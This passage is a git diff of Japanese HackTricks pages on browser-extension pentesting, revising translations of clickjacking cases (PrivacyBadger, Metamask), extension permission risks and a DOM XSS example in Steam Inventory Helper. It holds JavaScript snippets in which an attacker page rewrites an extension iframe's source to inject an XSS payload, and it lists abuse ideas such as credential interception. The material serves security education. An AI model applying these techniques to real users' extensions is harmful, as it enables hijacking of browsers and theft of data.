拡張機能の状態を変更する - 追加のリソースを読み込む - ある程度ブラウザとやり取りする -ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が発生する可能性があります。 +ただし、この機能にはセキュリティリスクがあります。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が生じる可能性があります。 ## PrivacyBadgerの例 -拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されている脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を参照)。 +拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されている脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を参照してください)。 ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンを操作すると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤解させて「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡される可能性が高まります。この脆弱性の実証は、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されるClickJackingのビデオ例で確認できます。 +この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンを操作すると表示される`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡を受ける可能性が高まります。この攻撃のビジュアルデモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されるClickJackingのビデオ例で確認できます。 この脆弱性に対処するために、簡単な解決策が実装されました:`web_accessible_resources`のリストから`/skin/*`を削除すること。この変更により、`skin/`ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。 @@ -95,11 +95,11 @@ click me
-Metamask拡張機能で修正された**別のClickJacking**は、ページが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`を含むことにより、ページがフィッシングの疑いがあるときに**Click to whitelist**できることでした。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。 +Metamask拡張機能で修正された**別のClickJacking**は、ページが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`という理由でフィッシングの疑いがあると判断された場合に、**Click to whitelist**が可能だったことです。そのページがClickjackingに対して脆弱であるため、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。 ## Steam Inventory Helperの例 -次のページをチェックして、ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認してください: +ブラウザ拡張機能の**XSS**が**ClickJacking**の脆弱性と連鎖した方法を確認するには、次のページをチェックしてください: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -112,14 +112,14 @@ Metamask拡張機能で修正された**別のClickJacking**は、ページが`
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 18bae2254..6de1d9fb1 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricks をサポートする他の方法: - **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する -- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。 +- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
@@ -18,19 +18,19 @@ HackTricks をサポートする他の方法: ### **`permissions`** -権限は、拡張機能の **`manifest.json`** ファイルで **`permissions`** プロパティを使用して定義され、ブラウザがアクセスできるほとんどのもの(Cookieまたは物理ストレージ)へのアクセスを許可します: +権限は、拡張機能の **`manifest.json`** ファイルで **`permissions`** プロパティを使用して定義され、ブラウザがアクセスできるほとんどすべてのもの(Cookieまたは物理ストレージ)へのアクセスを許可します: -前述のマニフェストは、`storage` 権限が必要であることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御権を与えるCookieや `localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。 +前述のマニフェストは、拡張機能が `storage` 権限を必要とすることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーに一定レベルの制御を提供するCookieや `localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。 -拡張機能は、その **`manifest.json`** ファイルで示されている権限を要求し、拡張機能をインストールした後は、この画像に示されているように、ブラウザでいつでもその権限を確認できます: +拡張機能は、その **`manifest.json`** ファイルで示されている権限をリクエストし、拡張機能をインストールした後は、この画像に示されているように、ブラウザでいつでもその権限を確認できます:
-[**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**です**。 +[**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**を見つけることができます**。 ### `host_permissions` -オプションですが強力な設定 **`host_permissions`** は、[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介して拡張機能がどのホストとやり取りできるかを示します。 +オプションですが強力な設定である **`host_permissions`** は、[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介して拡張機能がどのホストとやり取りできるかを示します。 以下の `host_permissions` は基本的にすべてのWebサイトを許可します: ```json @@ -55,27 +55,27 @@ HackTricks をサポートする他の方法: ### タブ -さらに、**`host_permissions`**は[**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)の「高度な」機能を解除します。これにより、拡張機能は[tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)を呼び出すことができ、ユーザーのブラウザタブのリストを取得するだけでなく、読み込まれているWebページ(アドレスとタイトルを含む)を知ることもできます。 +さらに、**`host_permissions`**は[**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)の**“高度な”機能**を解除します。これにより、拡張機能は[tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)を呼び出し、**ユーザーのブラウザタブのリストを取得するだけでなく、読み込まれているWebページ(アドレスとタイトルを含む)を知ることもできます**。 {% hint style="danger" %} -さらに、[**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated)などのリスナーも非常に便利になります。これらは、新しいページがタブに読み込まれるたびに通知されます。 +さらに、[**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated)などのリスナーも**はるかに有用になります**。これらは、新しいページがタブに読み込まれるたびに通知されます。 {% endhint %} ### コンテンツスクリプトの実行 -コンテンツスクリプトは、静的に拡張機能マニフェストに書かれている必要はありません。**`host_permissions`**が十分にあれば、**拡張機能は**[**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または**[**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的にロードすることもできます。** +コンテンツスクリプトは、静的に拡張機能マニフェストに書かれている必要はありません。**`host_permissions`**が十分にあれば、**拡張機能は**[**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または**[**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的に読み込むこともできます**。 -これらのAPIは、拡張機能に含まれるファイルだけでなく、**任意のコード**を実行できます。前者はJavaScriptコードを文字列として渡すことができ、後者はJavaScript関数を期待しますが、これはインジェクションの脆弱性が少ないです。それでも、これらのAPIは誤用されると混乱を招きます。 +両方のAPIは、拡張機能に含まれるファイルだけでなく、**任意のコード**を実行できます。前者はJavaScriptコードを文字列として渡すことができ、後者はJavaScript関数を期待しますが、これはインジェクションの脆弱性が少ないです。それでも、これらのAPIは誤用されると混乱を招きます。 {% hint style="danger" %} -上記の機能に加えて、コンテンツスクリプトは、Webページに入力される**資格情報を傍受**したり、各Webサイトに**広告を注入**したりするなど、様々な方法で悪用できます。**詐欺メッセージ**をニュースサイトの信頼性を悪用するために追加することも可能です。最後に、銀行のWebサイトを**操作して送金をリダイレクト**することもできます。 +上記の機能に加えて、コンテンツスクリプトは、例えば、Webページに入力される**資格情報を傍受**することができます。また、**広告を注入**して、すべてのウェブサイトに広告を表示する方法もあります。ニュースサイトの信頼性を損なう**詐欺メッセージ**を追加することも可能です。最後に、**銀行の**ウェブサイトを**操作**して送金をリダイレクトすることもできます。 {% endhint %} -### 暗黙の権限 +### 暗黙の特権 -一部の拡張機能の権限は、**明示的に宣言する必要はありません**。その例として、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)があります。その基本機能は、特に権限がなくてもアクセスできます。任意の拡張機能は、タブを開いたり閉じたりするときに通知を受け取ることができますが、そのタブがどのウェブサイトに対応するかはわかりません。 +一部の拡張機能の特権は、**明示的に宣言する必要はありません**。その1つの例が[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)です。基本的な機能は特権なしでアクセスできます。任意の拡張機能は、タブを開いたり閉じたりするときに通知を受け取ることができますが、どのウェブサイトに対応するタブかはわかりません。 -無害に聞こえますか?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)は少し異なります。これを使用して、新しいタブを作成できます。基本的には、[window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)と同じですが、どのウェブサイトからでも呼び出すことができます。ただし、`window.open()`はポップアップブロッカーの対象となりますが、`tabs.create()`はそうではありません。 +無害に聞こえますか?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)はやや異なります。これを使用して**新しいタブを作成**することができ、基本的には[window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)と同じですが、どのウェブサイトが呼び出されるかはわかりません。 {% hint style="danger" %} 拡張機能は、必要に応じていつでも任意の数のタブを作成できます。 @@ -83,23 +83,23 @@ HackTricks をサポートする他の方法: `tabs.create()`の可能なパラメータを見ると、`window.open()`が制御できる範囲をはるかに超えることに気付くでしょう。FirefoxはこのAPIで`data:` URIの使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングに悪用されたため禁止されています**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**。** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)は`tabs.create()`に非常に似ていますが、**既存のタブを変更**します。したがって、悪意のある拡張機能は、例えば広告ページを任意のタブに任意に読み込むことができ、対応するタブをアクティブにすることもできます。 +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)は`tabs.create()`に非常に似ていますが、**既存のタブを変更**します。したがって、悪意のある拡張機能は、例えば、広告ページを任意のタブに任意に読み込むことができ、対応するタブもアクティブ化できます。 -### ウェブカメラ、ジオロケーションなど +### ウェブカメラ、地理位置情報など -おそらく、Webサイトは特別な権限をリクエストできることを知っているでしょう。たとえば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスなどです。これは悪用の可能性が高い機能であり、ユーザーは毎回これを許可する必要があります。 +おそらく、ウェブサイトは特別な権限をリクエストできることを知っています。例えば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスを要求することができます。これは濫用の可能性がある機能であり、ユーザーは毎回これを許可する必要があります。 {% hint style="danger" %} -しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ許可を求めるだけで済みます** +しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、1度だけ許可を求めるだけで済みます** {% endhint %} -通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ユーザーが拡張機能と対話していない場合でも、いつでもウェブカメラにアクセスできます**。はい、ユーザーは拡張機能が本当にウェブカメラへのアクセスが必要かどうかを確認した後にこのプロンプトを受け入れます。しかし、その後は、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。 +通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ユーザーが拡張機能と対話していなくても、いつでもウェブカメラにアクセスできます**。はい、ユーザーは拡張機能が本当にウェブカメラへのアクセスが必要かどうかを確認した後にこのプロンプトを受け入れます。しかし、その後は、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。 -[正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)へのアクセスについては、明示的な許可は不要です。**拡張機能は、マニフェストの** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に`geolocation`または`clipboard`を追加するだけで、これらのアクセス権限が暗黙的に付与されます。** したがって、これらの権限を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができますが、あなたが何も気づかないでしまいます。 +[正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)にアクセスする場合、明示的な許可は不要です。**拡張機能は、単にマニフェストの** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に`geolocation`または`clipboard`を追加するだけで、これらのアクセス権限が暗黙的に付与されます**。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができ、あなたが何も気づかないままです。 -[**history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **キーワードを** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加すると、** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) **へのアクセスが許可されます。** これにより、ユーザーの全体の閲覧履歴を待つことなく一度に取得できます。 +[**history**]キーワードを[permissionsエントリ](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)に追加すると、[**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)への**アクセス**が許可されます。これにより、ユーザーの全体の閲覧履歴を待つことなく一度に取得できます。 -**`bookmarks`** **権限**には同様の悪用の可能性があり、これにより、[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **を介してすべてのブックマークを読み取ることができます。** +**`bookmarks`** **permission**には同様の悪用の可能性があり、これにより、[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)を介してすべてのブックマークを読み取ることができます。 ### ストレージ権限 @@ -109,4 +109,17 @@ HackTricks をサポートする他の方法: ### その他の権限 -Chromiumブラウザ拡張機能がリクエストできる[**権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 、Firefox拡張機能の[**完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** +[**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** + +## 予防 + +Googleの開発者ポリシーは、拡張機能が機能に必要以上の特権を要求することを明示的に禁止しており、過剰な権限要求を緩和しています。ブラウザ拡張機能がこの境界を越えた例では、ブラウザ自体と一緒に配布された場合があります。 + +ブラウザは、拡張機能の特権の誤用をさらに抑制することができます。たとえば、Chromeの[tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/)および[desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、スクリーン録画に使用され、悪用を最小限に抑えるよう設計されています。tabCapture APIは、拡張機能アイコンをクリックするなどの直接のユーザー操作を介してのみアクティブ化でき、desktopCaptureは、ウィンドウの録画に対してユーザーの確認が必要で、秘密裏に録画される活動を防止します。 + +ただし、セキュリティ対策を強化すると、拡張機能の柔軟性とユーザーフレンドリー性が低下することがよくあります。[activeTab権限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)は、このトレードオフを示しています。これは、拡張機能がインターネット全体にホスト権限を要求する必要をなくし、ユーザーによる明示的なアクティベーションにより現在のタブのみにアクセスできるようにするために導入されました。このモデルは、ユーザーが起動アクションを必要とする拡張機能には効果的ですが、自動的または予防的なアクションを必要とする拡張機能には適しておらず、便利さと即時応答性が損なわれる可能性があります。 + +## **参考文献** + +* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) +* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index d438bb017..1968ca334 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,22 +1,22 @@ -# BrowExt - XSSの例 +# BrowExt - XSS Example
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れる -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする** +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
-## クロスサイトスクリプティング(XSS)によるIframe +## Cross-Site Scripting (XSS) through Iframe -このセットアップでは、**コンテンツスクリプト**が実装され、クエリパラメータを含むURLをIframeのソースとして組み込んでいます: +このセットアップでは、**コンテンツスクリプト**が実装され、クエリパラメータを含むURLをIf​​rameのソースとして取り込んだIframeがインスタンス化されます: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + @@ -25,7 +25,7 @@ let constructedURL = chrome.runtime.getURL("message.html") + frame.src = constructedURL; }); ``` -以下は、`message.html` という公開されている HTML ページで、URL のパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています: +以下は、ファイル**`message.html`**にアクセス可能なHTMLページで、URLのパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); @@ -37,7 +37,7 @@ chrome.tabs.create({ url: destinationURL }); }); }); ``` -悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースの`content`パラメータを変更して**XSSペイロード**を導入します。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます: +悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースの`content`パラメータが変更され、**XSSペイロード**が導入されます。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; @@ -52,9 +52,9 @@ document.querySelector("iframe").src = maliciousURL; ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` -以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にする。 +以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にすることができます。 -XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含めることです。 +XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含めることです: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + @@ -65,7 +65,7 @@ document.body.append(newFrame); この例は、[元の投稿の解説](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取得されました。 -問題の核心は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から発生します。問題のあるJavaScriptは、**`bookmarks.js`**の一部で以下に詳細が記載されています。 +問題の核となるのは、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性です。問題のJavaScriptは、**`bookmarks.js`**の一部で以下に詳細が記載されています。 ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); @@ -82,9 +82,9 @@ $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` -このスニペットは、**`txtName`** 入力フィールドから **`value`** を取得し、HTML を生成するために **文字列の連結** を使用し、それを jQuery の `.append()` 関数を使って DOM に追加します。 +このコードスニペットは、**`txtName`** 入力フィールドから **`value`** を取得し、HTML を生成するために文字列連結を使用し、それをjQueryの `.append()` 関数を使ってDOMに追加します。 -通常、Chrome 拡張機能のコンテンツセキュリティポリシー(CSP)は、このような脆弱性を防ぎます。ただし、**'unsafe-eval' で CSP の緩和** と jQuery の DOM 操作メソッドの使用(これは [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用してスクリプトを DOM に挿入する際に [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡す)により、依然として攻撃が可能です。 +通常、Chrome 拡張機能のコンテンツセキュリティポリシー(CSP)はこのような脆弱性を防ぎます。ただし、**'unsafe-eval' でのCSP緩和**とjQueryのDOM操作メソッドの使用(これはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用)により、依然として攻撃が可能です。 この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。 @@ -114,7 +114,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the 